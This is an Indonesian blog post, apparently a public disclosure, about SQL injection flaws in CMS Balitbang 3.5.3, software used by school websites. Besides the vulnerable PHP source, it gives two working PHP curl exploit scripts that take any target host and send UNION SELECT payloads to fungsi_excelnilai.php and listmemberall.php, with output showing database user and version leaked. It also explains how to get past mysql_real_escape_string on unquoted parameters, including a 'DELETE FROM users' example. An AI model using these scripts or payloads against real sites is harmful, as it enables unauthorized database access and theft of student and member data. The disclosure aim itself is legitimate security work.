Vulnerabilitas CMS Balitbang

Tidak bermaksud mengajarkan yang tidak baik, saya hanya melakukan sedikit explorasi untuk CMS Balitbang Versi 3.5.3 ini, mumpung waktu sedikit luang dan sedikit penasaran dengan CMS ini, karena beberapa waktu lalu kolega saya dari devilzc0de menginformasikan bahwa CMS ini benyak bolongnya, dari penulusuran yang saya lakukan memang benar adanya, masih banyak yang harus ditambal untuk menutupi celah yang ada, mengingat banyak website-website sekolah yang menggunakan CMS ini,mudah-mudahan dengan adanya tulisan ini pihak Divisi Balitbang bisa segera melalukan penelurusan ulang dan perbaikannya.

Dari hasil penulusuran saya, celah keamaan yang ada saya rasa cukup tinggi resikonya, yah pasti sudah paham kenapa, yang parahnya lagi bukan hanya 1 - 2 celah, tetapi ada sekitar 200an celah keamaan yang ada seperti Cross Site Scripting(XSS), SQL Injection, File Manipulation serta Local File Inclusion, ini yang membuat saya merasa perlu mempublikasikannya, dari pada nanti diotak-atik oleh orang yang tidak bertanggung jawab sebaiknya diketahui dan diperbaiki secepatnya.

Selain itu, sebelum saya melakukan explorasi, saya juga sempat membaca beberapa sumber tentang CMS ini, misalnya seperti tulisan yang ada dihttp://www.indoamaterasu.com/2014/07/hat...tbang.html dan http://sundries.mywapblog.com/awas-hati-...bang.xhtml saya sedikit terkejut dengan tulisan tersebut, masak sih orang-orang balitbang yang notabene orangnya pemerintah melakukan hal itu? yah bisa jadi untuk kebutuhan khusus, tetapi tetap saja itu salah kalo menurut saya, nah apa saya salah jika mempublish bolongnya CMS Balitbang ini? tergantung kawan-kawan semua yang menilainya, tetapi tujuan dari tulisan ini untuk memperingatkan sekeligus menginformasikan kepada semua pengguna CMS Balitbang umumnya dan Khususnya untuk team pengembang agar cepat melakukan Patching dan Bug Fixing.

dalam tulisan ini saya tidak akan menuangkan semua celah yang ada, hanya beberapa karena hampir semua celah untuk teknik exploitasinya sudah bertebaran, saya hanya akan menelaah celah SQL injection, karena celah ini merupakan celah yang beresiko paling tinggi yang saya temukan, kenapa paling tinggi, karena exploiter tidak perlu untuk melakukan pendaftaran (dibeberapa blog saya sudah membaca jika sebelumnya cms ini juga sudah banyak celahnya) untuk melakukan exploitasi.

dalam proses penelusuran saya hampir semua query dalam CMS ini sudah menggunakan mysql_real_escape_string dalam memfilter variable-variable yang akan diproses, namun masih banyak juga yang masih tidak menggunakanya, beberapa sources sudah menggunakan fungsi untuk memeriksa apakah file dipanggil langsung atau tidak seperti




PHP Code:
if(!defined("Balitbang")) {
    die(
"<h1>Permission Denied</h1>You don't have permission to access the this page.");

jadi jika ada Celah SQL injection Pada bagian tersebut kita tidak akan bisa melakukan exploitasi jika tidak mengetahui fungsi tersebut dipanggila melalui proses yang mana, cara ini cukup mengurangi celah tersebut untuk Diexploitasi, kemudian beberapa bagian juga sudah memberikan validasi pemeriksaan sessi misalnya seperti
PHP Code:
if (!isset($_SESSION['Admin'])) {
    echo 
"<h1>Permission Denied</h1>You don't have permission to access the this page.";
    exit;

bagian ini juga cukup membantu dalam mengurangi celah yang ada, karena tanpa sessi Admin celah tersebut tidak akan bisa diexploitasi, dengan kata lain kita harus login menjadi admin untuk bisa melakukan exploitasi, tetapi tetap saja Celahnya masih berbahaya, dan yang paling banyak yang saya temui hampir semua query sudah menggunakan fungsi mysql_real_escape_string, misalnya seperti

Code:
$query = "SELECT * FROM t_soal WHERE id='". mysql_escape_string($idn)."'";

pada bagian ini, sebenarnya masih rentan terkena SQL injection, walapun sudah menggunakan mysql_real_escape_string, karena mysql_real_escape_string pada CMS balitbang sudah menggunakan singel quota(') jadi hal ini bisa meminimalisir Celah SQL injection, tetapi hal ini akan berbeda jika masih ada Query yang menggunakan mysql_real_escape_string tanpa menggunakan single quota ('), karena dengan begitu penggunaan mysql_real_escape_string akan menjadi renta, misalnya jika menggunakan query diatas kita menyisipkan payload SQL akan menjadi kira-kira seperti berikut

Code:
$query = "SELECT * FROM t_soal WHERE id='1\;union select version()\'";

tetapi jika tidak menggunakan singl quota(') maka akan menjadi seperi berikut, diakhir tulisan kita akan sedikit membahas mysql_real_escape_string ini. 

Code:
$query = "SELECT * FROM t_soal WHERE id=1 union select version()";

SQL injection Di CMS Balitbang Versi 3.5.3

dibagian ini, saya akan membahas bagian yang terkan Celah khusu SQL injection, dalam uji coba seperti judul tulisan saya menggunakan CMS Balitbang Versi 3.5.3 yang kemungkinan versi terbaru, karena saya download langsung dari website https://divisidatalitbang.net untuk memastikanya.




celah ini terdapat pada file functions/fungsi_excelnilai.php, celah ini semakin mudah di exploitasi karena tidak memeriksa apakah file dipanggil langsung atau dipanggil dari fungsi tertentu, dalam file ini ada bebera variable yang dibawa melalui metode GET dan POST, misalnya seperti
PHP Code:
4.  $format=$_POST['format'];5.  if ($format==''$format=$_GET['format'];28. $userid $_SESSION['User']['userid'];29. $kd $_GET['kd']; 

pada potongan code diatas, kita langsung bisa mengetahui jika variable-variable tersebut bisa exploitasi, untuk lebih jelas mari kita liat potongan kode sumber dari file ini.

PHP Code:
....
elseif (
$format=='nilai') {
    
session_start();
    include 
"../functions/fungsi_konversiuser.php";
    
$userid $_SESSION['User']['userid'];
    
$kd $_GET['kd'];
    
$nip konversi_id($userid);

    
$file_type "vnd.ms-excel";
    
header("Content-Type: application/$file_type");

    if (!empty(
$kd)) {

        
$sql ="select * from t_nilai where kd_nilai='".$kd."'";
        
$result mysql_query ($sql) ;
        if(
$data mysql_fetch_array($result)) {
            
$pel $data['pelajaran'];
            
$sem $data['semester'];
            
$kelas $data['kelas'];
            
$ket  $data['ket'];
            
$kkm  $data['skbm'];
            
$nama konversi_guru($nip);
            
$thajar "20".substr($data['kd_nilai'],0,2)."/20".substr($data['kd_nilai'],2,2);
        }
        
header("Content-Disposition: attachment; filename=Nilai-".$kelas.".xls;");
        
header("Pragma: no-cache");
        
header("Expires: 0");
        echo 
"Daftar Nilai Siswa\nPelajaran : $pel\t\t\tGuru : $nama\n";
        echo 
"Thn Pelajaran : $thajar\t\t\tKelas : $kelas\n";
        echo 
"KKM : $kkm\t\t\tMateri : $ket\n\n";
        echo 
"NO\tNIS\tNAMA\tKELAS\tNILAI\n";
        
$i=1;
        
$sql ="select * from t_nilai,t_nilai_detail where t_nilai.kd_nilai=t_nilai_detail.kd_nilai and t_nilai.kd_nilai='".$kd."'";
        
$result mysql_query ($sql) ;
        while (
$row mysql_fetch_array($result))
        {
            
$query mysql_query("select nama from t_siswa where user_id='".$row['NIS']."'");
            
$r mysql_fetch_array($query);
            
$schema .="$i\t'$row[NIS]\t$r[nama]\t$row[kelas]\t$row[nilai]\n";
            
$i++;
        }
    }
}
.... 

perhatikan

Code:
$sql ="select * from t_nilai where kd_nilai='".$kd."'";
pada kode diatas, variable $kd yang bersumber dari $_GET['kd'] tidak difilter sama sekali dan langsung diproses, seledar untuk diketahui proses diatas untuk menampilkan data nilai kedalam bentuk file excel, disini kita bisa langsung melakukan exploitasi, dengan mengirimlan variable tersebut secara lansung, disini saya membuat script kecil untuk melakukan exploitasi karena jika melalui browser harus download file excel untuk bisa mengetahui hasilnya, teman-teman bisa saja menggunakan browser dan temper (karena variable $format bisa dikirim melalui method POST) data atau tanpa temper data karena variable $format bisa dikirimkan melalui method GET, saya tidak akan menejelaskan Tekni SQL Injectionya karena Teknik ini bukan teknik yang susah dicari referensinya.
PHP Code:
#!/usr/bin/php -f<?php
$target 
$argv[1];$exp_sql ="hantu'/**/or/**/1=1/**/union/**/select/**/null,group_concat(user(),0x3a,version()),
null,null,null,null,null,null,null,null,null/**/from/**/user/**/order/**/by/**/'1"
;$ch curl_init();curl_setopt($chCURLOPT_RETURNTRANSFER,1);curl_setopt($chCURLOPT_URL"http://$target/functions/fungsi_excelnilai.php?kd=$exp_sql");curl_setopt($chCURLOPT_HTTPGET1);curl_setopt($chCURLOPT_USERAGENT"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");curl_setopt($chCURLOPT_POST1);curl_setopt($chCURLOPT_POSTFIELDS"format=nilai");curl_setopt($chCURLOPT_TIMEOUT3
);curl_setopt($chCURLOPT_LOW_SPEED_LIMIT3);curl_setopt($chCURLOPT_LOW_SPEED_TIME3);//jika mau menampilkan header dari requestcurl_setopt($chCURLOPT_VERBOSEtrue);$buf curl_exec ($ch);curl_close($ch);
unset(
$ch);

echo 
$buf;?>


perhatikan baris pada gambar dengan payload group_concat(user(),0x3a,version()) dengan hasil

Code:
Daftar Nilai Siswa
Pelajaran : root@localhost:5.6.28-0ubuntu0.15.04.1


hasil yang menunjukan jika Celah SQL injection di Exploitasi dengan sangta mudah dan menggunakan Script sederhana, bagian lain dari file ini juga bisa di explitasi menggunakan teknik yang sama dengan hasil yang bervariasi.

bagian lain dari CMS Balitbang yang terkena celah ini ada pada bagian /member/listmemberall.php, pada bagian ini, kasusnya juga sama dengan kasus sebelumnya, jika kita telusuri kode sumbernya seperti potongan kode dibawah


PHP Code:
<?php/**
 * @author Hendi Ahmad Hidayat
 * @copyright 2011
 */
// get names (eg: database)
// the format is:
// id, searchable plain text, html (for the textboxlist item, if empty the plain is used), html (for the autocomplete dropdown)
session_start();$userid $_SESSION['User']['userid'];
include 
"../functions/koneksi.php";
include 
"../functions/fungsi_pass.php";
if(isset(
$_POST['queryString'])) {
    
$queryString $_POST['queryString'];     
    if(
strlen($queryString) >0) {
        
$query="select t_member.nama,t_member.userid from t_member where t_member.nama LIKE '%$queryString%' limit 20";
    echo 
$query;
        
$result=mysql_query($query);
            while(
$row=mysql_fetch_array($result)){
             
            
$file "profil/gb".$row[userid].".jpg";
            
$fotouser ="<img src='profil/kosong.jpg' width='50' height='60' style='padding-right: 10px;' />";
            if (
file_exists(''.$file.'')) {
               
//$fotouser="<img src='thumb-user.php?img=$file' width='50' height='50' style='padding-right: 10px;' />";
               
$fotouser="<img src='$file' width='50' height='60' style='padding-right: 10px;' />";
            }
            
//echo "<li onClick='fill(\"$row[nama]\");'>";
            
echo "";
            echo 
"<table>";
            echo 
"<tr>";
            echo 
"<td>";
            echo 
"<a href='user.php?id=lih_profil&kode=".hex($row[userid],$noacak)."' style='text-decoration:none;color:white'>".$fotouser."</a>";
            echo 
"</td>";
            echo 
"<td>";
            echo 
"<a href='user.php?id=lih_profil&kode=".hex($row[userid],$noacak)."' style='text-decoration:none;color:white'>".$row['nama']."</a>";
            echo 
"</td>";
            echo 
"</tr>";
            echo 
"</table>";
            echo 
"";
            }
        }     
}
?>

terdapat query $query="select t_member.nama,t_member.userid from t_member where t_member.nama LIKE '%$queryString%' limit 20"; dengan variable$queryString yang tidak di filter, variable tersebut bersumber dari $_POST['queryString'], exploitasinya juga sederhana, hanya cukup membypass like query yang ada,berikut script sederhana untuk melakuan exploitasi ini


PHP Code:
#!/usr/bin/php -f<?php
$target 
$argv[1];$ch curl_init();curl_setopt($chCURLOPT_RETURNTRANSFER,1);curl_setopt($chCURLOPT_URL"http://$target/listmemberall.php");curl_setopt($chCURLOPT_USERAGENT"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");curl_setopt($chCURLOPT_POST1);curl_setopt($chCURLOPT_POSTFIELDS"queryString=hantu%'/**/union/**/select/**/user(),version()-- -");curl_setopt($chCURLOPT_TIMEOUT3);curl_setopt($chCURLOPT_LOW_SPEED_LIMIT3);curl_setopt($chCURLOPT_LOW_SPEED_TIME3);curl_setopt($chCURLOPT_VERBOSEtrue);$buf curl_exec ($ch);curl_close($ch);
unset(
$ch);

echo 
$buf;?>



perhatikan bagian bawah 
Code:
style='text-decoration:none;color:white'>root@localhost</a></td></tr></table>%

hasil dari exploitasi terpampang dengan jelas, sebenarnya pada bagian 69g838086828087838082c7c6c0c7b4c7827f8a8480888087 juga merupakan hasil dari exploit, hanya saja dalam bentuk hexa, itu terjadi karena pada potongangn kode diatas kita bisa melihat ada sebuah fungsi untu melaukan encode kedalam bentuk hexa hex($row[userid],$noacak), hanya saja saya belum menemukan fungsi hex dalam CMS Balitbang, lagian hasil diatas juga sudah cukup beresiko tinggi bukan ?

mysql_real_escape_string bypass

mungkinkah? pertanyaan pertama yang muncul dalam benak saya ketika akan melakukan exploitasi berbasis SQL injection, banyak tulisan yang membahas bagaiaman sebenarnya cara kerja dan membaypass fungsi yang satu ini, dengan notabene fungsi ini dikatakan cukup kuat untuk menghandle SQL injection, ya mungkinkah teknik ini bisa di bypass ? 

dari beberapa sumber yang saya baca, saya mencoba beberapa dianataranya, memang benar adanya mysql_real_escape_String bisa dibypass dengan beberapa cara, tetapi dengan menggunakan atau mengikutsertakan payload dengan sumber charater encoding, simpelnya dengan memasukan karakter-karakter dengan encoding yang berbeda misalnya dengan karakter utf-8 atau ascii atau yang lainya, tidak mudah jika harus menggunakan basis-basis karakter tersebut.

tetapi ada satu cara yang menurut saya bisa dilakukan, dengan catatan sipembuat atau siprogrammernya melakukan kesalahan kecil, ya sangat-sangat kecil sehingga memungkinakn mysql_real_escape_string ini bisa diexploitasi, kesalahan kecil tersebut adalah tidak menggunaan singel qouta(') atau double qouta(") dalam penerapanya, saya sudah jelaskan secara singkat sebelumnya tentang ini, mari kiat perjlelas dengan kode dibawah

Code:
$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users
mysql_query("SELECT * FROM users WHERE id={$id}");

amankah query diatas ? jawabanya adalah tidak, kawan-kawan pasti tau apa yang terjadi jika query itu dijalankan, mysql_real_escape_string hanya akan melakukan tugasnya jika patern atau tanda yang ada sesuai dengan kriteria yang diberikan, misalnya seperti

Code:
0x00 (NULL)
Newline (\n)
Carriage return (\r)
Double quotes (")
Backslash (\)
0x1A (Ctrl+Z)

bagaimana dengan potongan kode dibawah ini

Code:
// a' OR 'a'='a sebagai username
$username = mysql_real_escape_string($username);
mysql_query("SELECT * FROM users WHERE username='{$username}' ");

// hasilnya adalah
$username = mysql_real_escape_string($username);
mysql_query("SELECT * FROM users WHERE username='a\' OR \'a\'=\'a' ");

kawan-kawan bisa menilai sendiri contoh hasil dan memperbandingkanya, dan sekaligus mengambil kesimpulan amankan mysql_real_escape_string digunakan ? saya pribadi menaggap menggunakan fungsi ini cukup aman selama menggunakan singel quota (') atau double quota(") dalam penerapanya, well dalam kasus kuta CMS Balitbang banyak menggunakan fungsi mysql_real_escape_string dan single qouta (') ini sudah cukup membantu dalam mengurangi SQL injection, namun tetap saja ada dibeberapa bagian meggunakan mysql_real_escape_string tanpa single quota('), misalnya seperti 

PHP Code:
$sql="select visits from t_artikel where id="mysql_real_escape_string($kd)."";
if(!
$alan=mysql_query($sql)) die ("Pengambilan gagal");$row mysql_fetch_array($alan); 

dan jika kita memberikan sedikit exploitasi maka hasilnya akan seperti berikut

Code:
GET http://localhost/lab/balitbang/bla/bla/bla.php?kd=1 union select version()


itulah sedikit hasil penelusuran saya untuk CMS Balitbang versi 3.5.3 ini, masih banyak celah yang lain yang masih harus diperbaiki demi CMS Balitbang menjadi lebih baik, dan saya harap pihak-pihak yang terkait segera melakukan perbaikan agar tidak terjadi hal-hal yang tidak diinginkan.
sekali lagi saya tegaskan tulisan ini tidak bermaksud mengajarkan kejahatan, saya hanya merasa hal ini perlu diketahui agar segera diperbaiki secepatnya, dan saya tidak bertanggung jawab jika tulisan ini digunakan untuk hal-hal yang bersifat merusak,


Reff:
http://jibrilaburikas.blogspot.com/2016/04/cms-balitbang-v353-sql-injection.html
Vulnerabilitas CMS Balitbang Vulnerabilitas CMS Balitbang Reviewed by Riadi Marta Dinata on 21.37 Rating: 5

Tidak ada komentar:

Diberdayakan oleh Blogger.